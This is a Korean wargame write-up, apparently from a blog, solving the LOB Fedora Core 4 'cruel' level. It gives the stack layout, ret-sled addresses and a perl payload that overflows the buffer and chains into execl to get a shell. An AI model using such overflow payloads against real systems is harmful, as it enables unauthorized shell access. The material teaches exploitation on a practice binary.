본문 바로가기
Wargame/LOB_FC

[LOB_FC4] dark_stone -> cruel

by bbolmin 2012. 8. 20.

cruel.c의 소스는 아래와 같다.

 

 

Fedoa Core4 환경에서의 간단한 stack overflow이다. FC3에서 달라진 점은

1. 인자 값 참조를 esp로 한다는 점, 2. random library가 적용되었다는 점이다.

 

ret 슬레딩을 이용하면 쉽게 풀 수 있을것 같다.

 

스택 구조는 [ 256byte의 buf + 4byte SFP + 4byte RET ]이 된다.

 

 

execl함수의 인자 시작부분은 0x08048454로 하면 되겠다. 빨간 네모 부분에 execl의 주소를 넣어주고 그 전까지를

ret 슬레딩으로 채우도록 하자. (계산해보니 9개를 넣으면 되겠다.)

 

 

일단 execl가 실행할 파일 이름은 : `perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x0c\xe8"'`이다.

 

아래와 같이 쉘을 띄우는 프로그램으 만들고 심볼릭 링크를 걸어 놓는다.

 

 

이제 필요한 값 주소 값을 구하자.

1. cruel의 ret 주소는 : 0x08048451

2 . execl의 주소는 : 0x832d68이다. (랜덤 라이브러리가 제대로 안됬는지;; 일정한 주소값을 갖는다.)

 

공격 payload : `perl -e 'print "a"x260, "\x51\x84\x04\x8"x9, "\x68\x2d\x83\x00"'`

 

FC3 때보다 간단하게 쉘을 얻을 수 있다@@@

 

 

 

- -

 

 

 

 

'Wargame > LOB_FC' 카테고리의 다른 글

[LOB_FC3] dark_eyes ->hell_fire  (0) 2014.07.12
[LOB_FC3] iron_golem -> dark_eyes  (0) 2014.07.12
[LOB_FC3] gate ->iron_golem  (0) 2014.07.05
[LOB_FC4] cruel -> enigma  (0) 2012.08.24
[LOB_FC3] evil_wizard->dark_stone  (0) 2012.08.18